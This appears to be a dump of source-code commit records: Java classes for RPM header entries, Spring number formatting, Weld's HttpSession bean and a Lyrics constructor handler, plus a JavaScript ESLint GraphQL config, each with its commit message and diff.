public Entry< ?> readEntry( final int tag, final int type, final int offset, final int count, final ByteBuffer data) {
final Entry< ?> entry = createEntry( tag, type, count);
final ByteBuffer buffer = data.duplicate();
buffer.position( offset);
entry.read( buffer);
entry.setOffset( offset);
return entry;
}
public Entry< ?> createEntry( final int tag, final int type, final int count) {
final Entry< ?> entry = createEntry( type);
entry.setTag( tag);
entry.setCount( count);
entries.put( tag, entry);
return entry;
}
public Entry< ?> createChangeLogEntry( final int tag, final int type, final int count) {
final Entry< ?> entry = createEntry( type);
entry.setTag( tag);
entry.setCount( count);
changelogs.add(entry);
return entry;
}
protected Entry< ?> createEntry( int type) {
switch ( type) {
case Tag.NULL_ENTRY:
return new NullEntry();
case Tag.CHAR_ENTRY:
return new CharEntry();
case Tag.INT8_ENTRY:
return new Int8Entry();
case Tag.INT16_ENTRY:
return new Int16Entry();
case Tag.INT32_ENTRY:
return new Int32Entry();
case Tag.INT64_ENTRY:
return new Int64Entry();
case Tag.STRING_ENTRY:
return new StringEntry();
case Tag.BIN_ENTRY:
return new BinEntry();
case Tag.STRING_ARRAY_ENTRY:
return new StringArrayEntry();
case Tag.I18NSTRING_ENTRY:
return new I18NStringEntry();
default:
throw new IllegalStateException( "Unknown entry type '" + type + "'.");
}
}
public int getEndPos() {
return endPos;
}
public void setEndPos(int endPos) {
this.endPos = endPos;
}
public int getStartPos() {
return startPos;
}
public void setStartPos(int startPos) {
this.startPos = startPos;
}
public interface Entry< T> {
void setTag( int tag);
void setSize( int size);
void setCount( int count);
void setOffset( int offset);
void setValues( T values);
T getValues();
int getTag();
int getType();
int getOffset( int offset);
int size();
boolean ready();
void read( ByteBuffer buffer);
void write( ByteBuffer buffer);
void index( ByteBuffer buffer, int position);
}
public abstract class AbstractEntry< T> implements Entry< T> {
protected int size;
protected int tag;
protected int count;
protected int offset;
protected T values;
public void setTag( Tag tag) { this.tag = tag.getCode(); }
public void setTag( int tag) { this.tag = tag; }
public void setSize( int size) { this.size = size; }
public void setCount( int count) { this.count = count; }
public void setOffset( int offset) { this.offset = offset; }
/**
* Fails fast if Tag and T are not compatible.
* @param values
* @throws ClassCastException - if the type of values is not compatible with the type
* required by tag.type()
*/
protected abstract void typeCheck(T values);
/**
* @param values
* @throws ClassCastException - if the type of values is not compatible with the type
* required by tag.type()
*/
public void setValues( T values) {
if (values.getClass().isArray()) {
typeCheck(values);
}
this.values = values;
}
public T getValues() { return values; }
public int getTag() { return tag; }
public int getOffset( int offset) { return offset; }
/**
* Returns true if this entry is ready to write, indicated by the presence of
* a set of values.
* @return true if ready
*/
public boolean ready() { return values != null; }
/**
* Returns the data type of this entry.
*/
public abstract int getType();
/**
* Returns the size this entry will need in the provided data buffer to write
* it's contents, corrected for any trailing zeros to fill to a boundary.
*/
public abstract int size();
/**
* Reads this entries value from the provided buffer using the set count.
*/
public abstract void read( final ByteBuffer buffer);
/**
* Writes this entries index to the index buffer and its values to the output
* channel provided.
*/
public abstract void write( final ByteBuffer data);
/**
* Writes the index entry into the provided buffer at the current position.
*/
public void index( final ByteBuffer index, final int position) {
index.putInt( tag).putInt( getType()).putInt( position).putInt( count);
}
public String toString() {
StringBuilder builder = new StringBuilder();
if ( tags.containsKey( tag)) builder.append( tags.get( tag).getName());
else builder.append( super.toString());
builder.append( "[tag=").append( tag);
builder.append( ",type=").append( getType());
builder.append( ",count=").append( count);
builder.append( ",size=").append( size());
builder.append( ",offset=").append( offset);
builder.append( "]");
return builder.toString();
}
}
class NullEntry extends AbstractEntry< Object> {
public int getType() { return 0; }
public int size() { return 0; }
public void read( final ByteBuffer buffer) {}
public void write( final ByteBuffer data) {}
@Override
protected void typeCheck(Object values) {
return;
}
}
class CharEntry extends AbstractEntry< byte[]> {
public int getType() { return Tag.CHAR_ENTRY; }
public int size() { return count ; }
public void read( final ByteBuffer buffer) {
byte[] values = new byte[ count];
for ( int x = 0; x < count; x++) values[ x] = buffer.get();
setValues( values);
}
public void write( final ByteBuffer data) {
for ( byte c : values) data.put( c);
}
public String toString() {
StringBuilder builder = new StringBuilder( super.toString());
for ( byte c : values) builder.append( c);
builder.append( "\n\t");
return builder.toString();
}
@Override
protected void typeCheck(byte[] values) {
for ( @SuppressWarnings("unused") byte c : values) {/*intentionally do nothing*/}
}
}
class Int8Entry extends AbstractEntry< byte[]> {
public int getType() { return Tag.INT8_ENTRY; }
public int size() { return count; }
public void read( final ByteBuffer buffer) {
byte[] values = new byte[ count];
for ( int x = 0; x < count; x++) values[ x] = buffer.get();
setValues( values);
}
public void write( final ByteBuffer data) {
for ( byte b : values) data.put( b);
}
@Override
protected void typeCheck(byte[] values) {
for ( @SuppressWarnings("unused") byte c : values) {/*intentionally do nothing*/}
}
public String toString() {
StringBuilder builder = new StringBuilder( super.toString());
builder.append( "\n\t");
for ( byte b : values) builder.append( b).append( ", ");
return builder.toString();
}
}
class Int16Entry extends AbstractEntry< short[]> {
public int getOffset( int offset) { return Util.round( offset, 1); }
public int getType() { return Tag.INT16_ENTRY; }
public int size() { return count * ( Short.SIZE / 8); }
public void read( final ByteBuffer buffer) {
short[] values = new short[ count];
for ( int x = 0; x < count; x++) values[ x] = buffer.getShort();
setValues( values);
}
public void write( final ByteBuffer data) {
for ( short s : values) data.putShort( s);
}
public String toString() {
StringBuilder builder = new StringBuilder( super.toString());
builder.append( "\n\t");
for ( short s : values) builder.append( s & 0xFFFF).append( ", ");
return builder.toString();
}
@Override
protected void typeCheck(short[] values) {
for ( @SuppressWarnings("unused") short c : values) {/*intentionally do nothing*/}
}
}
class Int32Entry extends AbstractEntry< int[]> {
public int getOffset( int offset) { return Util.round( offset, 3); }
public int getType() { return Tag.INT32_ENTRY; }
public int size() { return count * ( Integer.SIZE / 8); }
public void read( final ByteBuffer buffer) {
int[] values = new int[ count];
for ( int x = 0; x < count; x++) values[ x] = buffer.getInt();
setValues( values);
}
public void write( final ByteBuffer data) {
for ( int i : values) data.putInt( i);
}
public String toString() {
StringBuilder builder = new StringBuilder( super.toString());
builder.append( "\n\t");
for ( int i : values) builder.append( i).append( ", ");
return builder.toString();
}
@Override
protected void typeCheck(int[] values) {
for ( @SuppressWarnings("unused") int c : values) {/*intentionally do nothing*/}
}
}
class Int64Entry extends AbstractEntry< long[]> {
public int getOffset( int offset) { return Util.round( offset, 7); }
public int getType() { return Tag.INT64_ENTRY; }
public int size() { return count * ( Long.SIZE / 8); }
public void read( final ByteBuffer buffer) {
long[] values = new long[ count];
for ( int x = 0; x < count; x++) values[ x] = buffer.getLong();
setValues( values);
}
public void write( final ByteBuffer data) {
for ( long l : values) data.putLong( l);
}
public String toString() {
StringBuilder builder = new StringBuilder( super.toString());
builder.append( "\n\t");
for ( long l : values) builder.append( l).append( ", ");
return builder.toString();
}
@Override
protected void typeCheck(long[] values) {
for ( @SuppressWarnings("unused") long c : values) {/*intentionally do nothing*/}
}
}
/**
* According to early documentation it should be illegal for this type of
* entry to store more than one string value, but other recent documents
* indicate that this may not longer be the case.
*/
class StringEntry extends AbstractEntry< String[]> {
public int getType() { return Tag.STRING_ENTRY; }
public int size() {
if ( size != 0) return size;
for ( String s : values) size += Charset.forName( "UTF-8").encode( s).remaining() + 1;
return size;
}
public void read( final ByteBuffer buffer) {
String[] values = new String[ count];
for ( int x = 0; x < count; x++) {
int length = 0;
while ( buffer.get( buffer.position() + length) != 0) length++;
final ByteBuffer slice = buffer.slice();
buffer.position( buffer.position() + length + 1);
slice.limit( length);
values[ x] = Charset.forName( "UTF-8").decode( slice).toString();
}
setValues( values);
}
public void write( final ByteBuffer data) {
for ( String s : values) data.put( Charset.forName( "UTF-8").encode( s)).put(( byte) 0);
}
public String toString() {
StringBuilder builder = new StringBuilder( super.toString());
if ( values != null) {
for ( String s : values) {
builder.append( "\n\t");
builder.append( s);
}
}
return builder.toString();
}
@Override
protected void typeCheck(String[] values) {
for ( @SuppressWarnings("unused") String c : values) {/*intentionally do nothing*/}
}
}
class BinEntry extends AbstractEntry< byte[]> {
public int getType() { return Tag.BIN_ENTRY; }
public int size() { return count; }
public void read( final ByteBuffer buffer) {
byte[] values = new byte[ count];
buffer.get( values);
setValues( values);
}
public void write( final ByteBuffer data) {
data.put( values);
}
public String toString() {
StringBuilder builder = new StringBuilder( super.toString());
if ( values != null) {
builder.append( "\n");
Util.dump( values, builder);
}
return builder.toString();
}
@Override
protected void typeCheck(byte[] values) {
for ( @SuppressWarnings("unused") byte c : values) {/*intentionally do nothing*/}
}
}
class StringArrayEntry extends StringEntry {
public int getType() { return Tag.STRING_ARRAY_ENTRY; }
}
class I18NStringEntry extends StringEntry {
public int getType() { return Tag.I18NSTRING_ENTRY; }
}
public String toString() {
StringBuilder builder = new StringBuilder();
builder.append( "Start Header ( ").append( getClass()).append( ")").append( "\n");
int count = 0;
for ( int tag : entries.keySet()) {
builder.append( count++).append( ": ").append( entries.get( tag)).append( "\n");
}
return builder.toString();
}
}
| actually write the changelogs. | src/main/java/org/redline_rpm/header/AbstractHeader.java | actually write the changelogs. | <ide><path>rc/main/java/org/redline_rpm/header/AbstractHeader.java
<ide>
<ide> protected final Map< Integer, Tag> tags = new HashMap< Integer, Tag>();
<ide> protected final Map< Integer, Entry< ?>> entries = new TreeMap< Integer, Entry< ?>>();
<add> /**
<add> * place to put the changelog entries. we can't use entries because it is a map and each changelog
<add> * added would overwrite the previous one.
<add> */
<ide> protected final List<Entry< ?>> changelogs = new LinkedList<Entry< ?>>();
<ide> protected final Map< Entry< ?>, Integer> pending = new LinkedHashMap< Entry< ?>, Integer>();
<ide>
<ide> entry = entries.get( i.next());
<ide> offset = writeData( buffers, index, entry, offset);
<ide> }
<add> // now write the changelogs
<add> for (Entry< ?> clentry : changelogs) {
<add> offset = writeData(buffers, index, clentry, offset);
<add> }
<ide> index.position( 0);
<ide> offset = writeData( buffers, index, first, offset);
<ide> index.position( index.limit());
<ide> } catch ( IllegalArgumentException e) {
<ide> throw new RuntimeException( "Error while writing '" + entry + "'.", e);
<ide> }
<add>
<add>
<add>
<ide> ByteBuffer data = ByteBuffer.allocate( offset);
<ide> for ( ByteBuffer buffer : buffers) data.put( buffer);
<ide> return data; |
|
Java | apache-2.0 | afdb96ab2c7d188a301be782177a4a2c14fe4dc5 | 0 | spring-projects/spring-framework,spring-projects/spring-framework,spring-projects/spring-framework,spring-projects/spring-framework,spring-projects/spring-framework,spring-projects/spring-framework,spring-projects/spring-framework | /*
* Copyright 2002-2009 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.springframework.format.number;
import java.math.BigDecimal;
import java.math.BigInteger;
import java.util.Collections;
import java.util.HashSet;
import java.util.Set;
import org.springframework.format.AnnotationFormatterFactory;
import org.springframework.format.Formatter;
import org.springframework.format.Parser;
import org.springframework.format.Printer;
import org.springframework.format.annotation.NumberFormat;
import org.springframework.format.annotation.NumberFormat.Style;
/**
* Formats fields annotated with the {@link NumberFormat} annotation.
* @author Keith Donald
* @since 3.0
* @see NumberFormat
*/
public final class NumberFormatAnnotationFormatterFactory implements AnnotationFormatterFactory<NumberFormat> {
private final Set<Class<?>> fieldTypes;
public NumberFormatAnnotationFormatterFactory() {
this.fieldTypes = Collections.unmodifiableSet(createFieldTypes());
}
public Set<Class<?>> getFieldTypes() {
return this.fieldTypes;
}
public Printer<Number> getPrinter(NumberFormat annotation, Class<?> fieldType) {
return configureFormatterFrom(annotation, fieldType);
}
public Parser<Number> getParser(NumberFormat annotation, Class<?> fieldType) {
return configureFormatterFrom(annotation, fieldType);
}
// internal helpers
private Set<Class<?>> createFieldTypes() {
Set<Class<?>> fieldTypes = new HashSet<Class<?>>(7);
fieldTypes.add(Short.class);
fieldTypes.add(Integer.class);
fieldTypes.add(Long.class);
fieldTypes.add(Float.class);
fieldTypes.add(Double.class);
fieldTypes.add(BigDecimal.class);
fieldTypes.add(BigInteger.class);
return fieldTypes;
}
private Formatter<Number> configureFormatterFrom(NumberFormat annotation, Class<?> fieldType) {
if (!annotation.pattern().isEmpty()) {
return new NumberFormatter(annotation.pattern());
} else {
Style style = annotation.style();
if (style == Style.PERCENT) {
return new PercentFormatter();
} else if (style == Style.CURRENCY) {
return new CurrencyFormatter();
} else {
return new NumberFormatter();
}
}
}
} | org.springframework.context/src/main/java/org/springframework/format/number/NumberFormatAnnotationFormatterFactory.java | /*
* Copyright 2002-2009 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.springframework.format.number;
import java.math.BigDecimal;
import java.math.BigInteger;
import java.util.Collections;
import java.util.HashSet;
import java.util.Set;
import org.springframework.format.AnnotationFormatterFactory;
import org.springframework.format.Formatter;
import org.springframework.format.Parser;
import org.springframework.format.Printer;
import org.springframework.format.annotation.NumberFormat;
import org.springframework.format.annotation.NumberFormat.Style;
/**
* Formats fields annotated with the {@link NumberFormat} annotation.
* @author Keith Donald
* @since 3.0
* @see NumberFormat
*/
public final class NumberFormatAnnotationFormatterFactory implements AnnotationFormatterFactory<NumberFormat> {
private final Set<Class<?>> fieldTypes;
public NumberFormatAnnotationFormatterFactory() {
this.fieldTypes = Collections.unmodifiableSet(createFieldTypes());
}
public Set<Class<?>> getFieldTypes() {
return this.fieldTypes;
}
public Printer<Number> getPrinter(NumberFormat annotation, Class<?> fieldType) {
return configureFormatterFrom(annotation, fieldType);
}
public Parser<Number> getParser(NumberFormat annotation, Class<?> fieldType) {
return configureFormatterFrom(annotation, fieldType);
}
// internal helpers
private Set<Class<?>> createFieldTypes() {
Set<Class<?>> fieldTypes = new HashSet<Class<?>>(7);
fieldTypes.add(Short.class);
fieldTypes.add(Integer.class);
fieldTypes.add(Long.class);
fieldTypes.add(Float.class);
fieldTypes.add(Double.class);
fieldTypes.add(BigDecimal.class);
fieldTypes.add(BigInteger.class);
return fieldTypes;
}
private Formatter<Number> configureFormatterFrom(NumberFormat annotation, Class<?> fieldType) {
if (!annotation.pattern().isEmpty()) {
return new NumberFormatter(annotation.pattern());
} else {
Style style = annotation.style();
if (style == Style.PERCENT) {
return new PercentFormatter();
} else if (style == Style.CURRENCY) {
return new CurrencyFormatter();
} else {
return new NumberFormatter();
}
}
}
} | polish
| org.springframework.context/src/main/java/org/springframework/format/number/NumberFormatAnnotationFormatterFactory.java | polish | <ide><path>rg.springframework.context/src/main/java/org/springframework/format/number/NumberFormatAnnotationFormatterFactory.java
<ide> return configureFormatterFrom(annotation, fieldType);
<ide> }
<ide>
<del>
<ide> // internal helpers
<ide>
<ide> private Set<Class<?>> createFieldTypes() { |
|
Java | apache-2.0 | 7a27961828c641518705eb7fe8622bef2494164e | 0 | manovotn/core,antoinesd/weld-core,weld/core,antoinesd/weld-core,manovotn/core,weld/core,manovotn/core,antoinesd/weld-core | /*
* JBoss, Home of Professional Open Source
* Copyright 2010, Red Hat, Inc., and individual contributors
* by the @authors tag. See the copyright.txt in the distribution for a
* full listing of individual contributors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
* http://www.apache.org/licenses/LICENSE-2.0
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.jboss.weld.module.web;
import java.io.Serializable;
import java.lang.annotation.Annotation;
import java.util.Enumeration;
import javax.enterprise.context.SessionScoped;
import javax.enterprise.context.spi.CreationalContext;
import javax.enterprise.inject.spi.InjectionPoint;
import javax.servlet.ServletContext;
import javax.servlet.http.HttpSession;
import javax.servlet.http.HttpSessionContext;
import org.jboss.weld.bean.builtin.AbstractStaticallyDecorableBuiltInBean;
import org.jboss.weld.manager.BeanManagerImpl;
import org.jboss.weld.module.web.logging.ServletLogger;
import org.jboss.weld.module.web.servlet.SessionHolder;
/**
* Built-in bean exposing {@link HttpSession}.
*
* @author Jozef Hartinger
* @author Martin Kouba
*/
@SuppressWarnings("deprecation")
public class HttpSessionBean extends AbstractStaticallyDecorableBuiltInBean<HttpSession> {
public HttpSessionBean(BeanManagerImpl manager) {
super(manager, HttpSession.class);
}
@Override
protected HttpSession newInstance(InjectionPoint ip, CreationalContext<HttpSession> creationalContext) {
return new SerializableProxy();
}
@Override
public Class<? extends Annotation> getScope() {
return SessionScoped.class;
}
private static class SerializableProxy implements HttpSession, Serializable {
private static final long serialVersionUID = -617233973786462227L;
private transient volatile HttpSession session;
private SerializableProxy() {
this.session = obtainHttpSession();
}
@Override
public long getCreationTime() {
return session().getCreationTime();
}
@Override
public String getId() {
return session().getId();
}
@Override
public long getLastAccessedTime() {
return session().getLastAccessedTime();
}
@Override
public ServletContext getServletContext() {
return session().getServletContext();
}
@Override
public void setMaxInactiveInterval(int interval) {
session().setMaxInactiveInterval(interval);
}
@Override
public int getMaxInactiveInterval() {
return session().getMaxInactiveInterval();
}
@Override
public HttpSessionContext getSessionContext() {
return session().getSessionContext();
}
@Override
public Object getAttribute(String name) {
return session().getAttribute(name);
}
@Override
public Object getValue(String name) {
return session().getValue(name);
}
@Override
public Enumeration<String> getAttributeNames() {
return session().getAttributeNames();
}
@Override
public String[] getValueNames() {
return session().getValueNames();
}
@Override
public void setAttribute(String name, Object value) {
session().setAttribute(name, value);
}
@Override
public void putValue(String name, Object value) {
session().putValue(name, value);
}
@Override
public void removeAttribute(String name) {
session().removeAttribute(name);
}
@Override
public void removeValue(String name) {
session().removeValue(name);
}
@Override
public void invalidate() {
session().invalidate();
}
@Override
public boolean isNew() {
return session().isNew();
}
private HttpSession session() {
if (session == null) {
synchronized (this) {
if (session == null) {
session = obtainHttpSession();
}
}
}
return session;
}
private HttpSession obtainHttpSession() {
HttpSession session = SessionHolder.getSessionIfExists();
if (session == null) {
throw ServletLogger.LOG.cannotInjectObjectOutsideOfServletRequest(HttpSession.class.getSimpleName(), null);
}
return session;
}
}
}
| modules/web/src/main/java/org/jboss/weld/module/web/HttpSessionBean.java | /*
* JBoss, Home of Professional Open Source
* Copyright 2010, Red Hat, Inc., and individual contributors
* by the @authors tag. See the copyright.txt in the distribution for a
* full listing of individual contributors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
* http://www.apache.org/licenses/LICENSE-2.0
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.jboss.weld.module.web;
import java.lang.annotation.Annotation;
import javax.enterprise.context.SessionScoped;
import javax.enterprise.context.spi.CreationalContext;
import javax.enterprise.inject.spi.InjectionPoint;
import javax.servlet.http.HttpSession;
import org.jboss.weld.bean.builtin.AbstractStaticallyDecorableBuiltInBean;
import org.jboss.weld.exceptions.IllegalStateException;
import org.jboss.weld.module.web.logging.ServletLogger;
import org.jboss.weld.manager.BeanManagerImpl;
import org.jboss.weld.module.web.servlet.SessionHolder;
/**
* Built-in bean exposing {@link HttpSession}.
*
* @author Jozef Hartinger
*
*/
public class HttpSessionBean extends AbstractStaticallyDecorableBuiltInBean<HttpSession> {
public HttpSessionBean(BeanManagerImpl manager) {
super(manager, HttpSession.class);
}
@Override
protected HttpSession newInstance(InjectionPoint ip, CreationalContext<HttpSession> creationalContext) {
try {
return SessionHolder.getSessionIfExists();
} catch (IllegalStateException e) {
throw ServletLogger.LOG.cannotInjectObjectOutsideOfServletRequest(HttpSession.class.getSimpleName(), e);
}
}
@Override
public Class<? extends Annotation> getScope() {
return SessionScoped.class;
}
}
| WELD-2346 Fix HttpSessionBean
| modules/web/src/main/java/org/jboss/weld/module/web/HttpSessionBean.java | WELD-2346 Fix HttpSessionBean | <ide><path>odules/web/src/main/java/org/jboss/weld/module/web/HttpSessionBean.java
<ide> */
<ide> package org.jboss.weld.module.web;
<ide>
<add>import java.io.Serializable;
<ide> import java.lang.annotation.Annotation;
<add>import java.util.Enumeration;
<ide>
<ide> import javax.enterprise.context.SessionScoped;
<ide> import javax.enterprise.context.spi.CreationalContext;
<ide> import javax.enterprise.inject.spi.InjectionPoint;
<add>import javax.servlet.ServletContext;
<ide> import javax.servlet.http.HttpSession;
<add>import javax.servlet.http.HttpSessionContext;
<ide>
<ide> import org.jboss.weld.bean.builtin.AbstractStaticallyDecorableBuiltInBean;
<del>import org.jboss.weld.exceptions.IllegalStateException;
<add>import org.jboss.weld.manager.BeanManagerImpl;
<ide> import org.jboss.weld.module.web.logging.ServletLogger;
<del>import org.jboss.weld.manager.BeanManagerImpl;
<ide> import org.jboss.weld.module.web.servlet.SessionHolder;
<ide>
<ide> /**
<ide> * Built-in bean exposing {@link HttpSession}.
<ide> *
<ide> * @author Jozef Hartinger
<del> *
<add> * @author Martin Kouba
<ide> */
<add>@SuppressWarnings("deprecation")
<ide> public class HttpSessionBean extends AbstractStaticallyDecorableBuiltInBean<HttpSession> {
<ide>
<ide> public HttpSessionBean(BeanManagerImpl manager) {
<ide>
<ide> @Override
<ide> protected HttpSession newInstance(InjectionPoint ip, CreationalContext<HttpSession> creationalContext) {
<del> try {
<del> return SessionHolder.getSessionIfExists();
<del> } catch (IllegalStateException e) {
<del> throw ServletLogger.LOG.cannotInjectObjectOutsideOfServletRequest(HttpSession.class.getSimpleName(), e);
<del> }
<add> return new SerializableProxy();
<ide> }
<ide>
<ide> @Override
<ide> public Class<? extends Annotation> getScope() {
<ide> return SessionScoped.class;
<ide> }
<add>
<add> private static class SerializableProxy implements HttpSession, Serializable {
<add>
<add> private static final long serialVersionUID = -617233973786462227L;
<add>
<add> private transient volatile HttpSession session;
<add>
<add> private SerializableProxy() {
<add> this.session = obtainHttpSession();
<add> }
<add>
<add> @Override
<add> public long getCreationTime() {
<add> return session().getCreationTime();
<add> }
<add>
<add> @Override
<add> public String getId() {
<add> return session().getId();
<add> }
<add>
<add> @Override
<add> public long getLastAccessedTime() {
<add> return session().getLastAccessedTime();
<add> }
<add>
<add> @Override
<add> public ServletContext getServletContext() {
<add> return session().getServletContext();
<add> }
<add>
<add> @Override
<add> public void setMaxInactiveInterval(int interval) {
<add> session().setMaxInactiveInterval(interval);
<add> }
<add>
<add> @Override
<add> public int getMaxInactiveInterval() {
<add> return session().getMaxInactiveInterval();
<add> }
<add>
<add> @Override
<add> public HttpSessionContext getSessionContext() {
<add> return session().getSessionContext();
<add> }
<add>
<add> @Override
<add> public Object getAttribute(String name) {
<add> return session().getAttribute(name);
<add> }
<add>
<add> @Override
<add> public Object getValue(String name) {
<add> return session().getValue(name);
<add> }
<add>
<add> @Override
<add> public Enumeration<String> getAttributeNames() {
<add> return session().getAttributeNames();
<add> }
<add>
<add> @Override
<add> public String[] getValueNames() {
<add> return session().getValueNames();
<add> }
<add>
<add> @Override
<add> public void setAttribute(String name, Object value) {
<add> session().setAttribute(name, value);
<add> }
<add>
<add> @Override
<add> public void putValue(String name, Object value) {
<add> session().putValue(name, value);
<add> }
<add>
<add> @Override
<add> public void removeAttribute(String name) {
<add> session().removeAttribute(name);
<add> }
<add>
<add> @Override
<add> public void removeValue(String name) {
<add> session().removeValue(name);
<add> }
<add>
<add> @Override
<add> public void invalidate() {
<add> session().invalidate();
<add> }
<add>
<add> @Override
<add> public boolean isNew() {
<add> return session().isNew();
<add> }
<add>
<add> private HttpSession session() {
<add> if (session == null) {
<add> synchronized (this) {
<add> if (session == null) {
<add> session = obtainHttpSession();
<add> }
<add> }
<add> }
<add> return session;
<add> }
<add>
<add> private HttpSession obtainHttpSession() {
<add> HttpSession session = SessionHolder.getSessionIfExists();
<add> if (session == null) {
<add> throw ServletLogger.LOG.cannotInjectObjectOutsideOfServletRequest(HttpSession.class.getSimpleName(), null);
<add> }
<add> return session;
<add> }
<add>
<add> }
<ide> } |
|
JavaScript | mit | 13d00042a7542edd32f0536db513ceb2e43d84c8 | 0 | TrebleFM/eslint-config | "use strict";
const include = require("../../lib/include");
const graphql = include("eslint-plugin-graphql");
if (graphql) {
// Rules from eslint-plugin-graphql
module.exports = {
"plugins": ["graphql"],
"rules": {
// validates queries in template strings or files against a schema
"graphql/template-strings": [0, {
// env,
// schemaJson,
// validators: [/* GraphQL's `specifiedRules` */]
}],
// validates that all operations are named (valuable for including in server-side logs and debugging)
"graphql/named-operations": [0, {
// env,
// schemaJson
}],
// validates that any specified required field is part of the query, but only if that field is available in schema (useful to ensure that query results are cached properly in the client)
"graphql/required-fields": [0, {
// env,
// schemaJson,
// requiredFields: [/* id */]
}],
// enforces that first letter of types is capitalized
"graphql/capitalized-type-name": [0, {
// env,
// schemaJson
}],
// validates that no deprecated fields are part of the query (useful to discover fields that have been marked as deprecated and shouldn't be used)
"graphql/no-deprecated-fields": [0, {
// env,
// schemaJson
}]
}
};
}
| rules/plugins/graphql.js | "use strict";
const include = require("../../lib/include");
const graphql = include("eslint-plugin-graphql");
if (graphql) {
// Rules from eslint-plugin-graphql
module.exports = {
"plugins": ["graphql"],
"rules": {
// validates queries in template strings or files against a schema
"graphql/template-strings": [0, {
// env,
// schemaJson,
// validators: [/* GraphQL's `specifiedRules` */]
}],
// validates that all operations are named (valuable for including in server-side logs and debugging)
"graphql/named-operations": [0, {
// env,
// schemaJson
}],
// validates that any specified required field is part of the query, but only if that field is available in schema (useful to ensure that query results are cached properly in the client)
"graphql/required-fields": [0, {
// env,
// schemaJson,
// requiredFields: [/* id */]
}],
// enforces that first letter of types is capitalized
"graphql/capitalized-type-name": [0, {
// env,
// schemaJson
}]
}
};
}
| Added new GraphQL rule
| rules/plugins/graphql.js | Added new GraphQL rule | <ide><path>ules/plugins/graphql.js
<ide> "graphql/capitalized-type-name": [0, {
<ide> // env,
<ide> // schemaJson
<add> }],
<add> // validates that no deprecated fields are part of the query (useful to discover fields that have been marked as deprecated and shouldn't be used)
<add> "graphql/no-deprecated-fields": [0, {
<add> // env,
<add> // schemaJson
<ide> }]
<ide> }
<ide> }; |
|
Java | apache-2.0 | 8d179f3c9ddf9ad44b96ce71c65483335506a5bd | 0 | flipkart-incubator/Lyrics | /*
* Copyright 2017 Flipkart Internet, pvt ltd.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.flipkart.lyrics.processor.constructors;
import com.flipkart.lyrics.config.Tune;
import com.flipkart.lyrics.model.FieldModel;
import com.flipkart.lyrics.model.MetaInfo;
import com.flipkart.lyrics.model.TypeModel;
import com.flipkart.lyrics.processor.Handler;
import com.flipkart.lyrics.sets.RuleSet;
import com.flipkart.lyrics.specs.*;
import java.util.List;
import java.util.Map;
import static com.flipkart.lyrics.helper.Helper.getParameterTypeHandler;
/**
* Created by shrey.garg on 06/02/17.
*/
public abstract class ConstructorHandler extends Handler {
public ConstructorHandler(Tune tune, MetaInfo metaInfo, RuleSet ruleSet) {
super(tune, metaInfo, ruleSet);
}
@Override
public void process(TypeSpec.Builder typeSpec, TypeModel typeModel) {
Map<String, FieldModel> fields = typeModel.getFields();
List<String> constructorFields = getConstructorFields(typeModel);
if (constructorFields.isEmpty()) {
return;
}
MethodSpec.Builder constructor = MethodSpec.constructorBuilder();
if (getModifier() != null) {
constructor = constructor.addModifiers(getModifier());
}
CodeBlock superArgs = superArgs();
if (superArgs != null) {
Object[] args = new Object[superArgs.arguments.size()];
args = superArgs.arguments.toArray(args);
constructor.addCode(superIdentifier() + "." + String.join("", superArgs.formats), args);
}
for (String field : constructorFields) {
ParameterSpec.Builder parameterSpec = getParameterTypeHandler(fields.get(field).getFieldType(), tune.getParameterTypeHandlerSet())
.process(typeSpec, field, fields.get(field));
if (!fields.get(field).isPrimitive()) {
tune.getValidationAnnotatorStyles().forEach(style -> {
if (fields.get(field).isRequired()) {
style.processRequiredRuleForConstructor(parameterSpec);
} else {
style.processNotRequiredRuleForConstructor(parameterSpec);
}
});
}
parameterSpec.required(fields.get(field).isRequired());
constructor.addParameter(parameterSpec.build());
constructor.addStatement("$N.$L = $L", selfReference(), field, field);
}
typeSpec.addMethod(constructor.build());
}
protected abstract List<String> getConstructorFields(TypeModel typeModel);
protected abstract Modifier getModifier();
protected String selfReference() {
return "this";
}
protected String superIdentifier() {
return "super";
}
protected CodeBlock superArgs() {
return null;
}
}
| lyrics-core/src/main/java/com/flipkart/lyrics/processor/constructors/ConstructorHandler.java | /*
* Copyright 2017 Flipkart Internet, pvt ltd.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
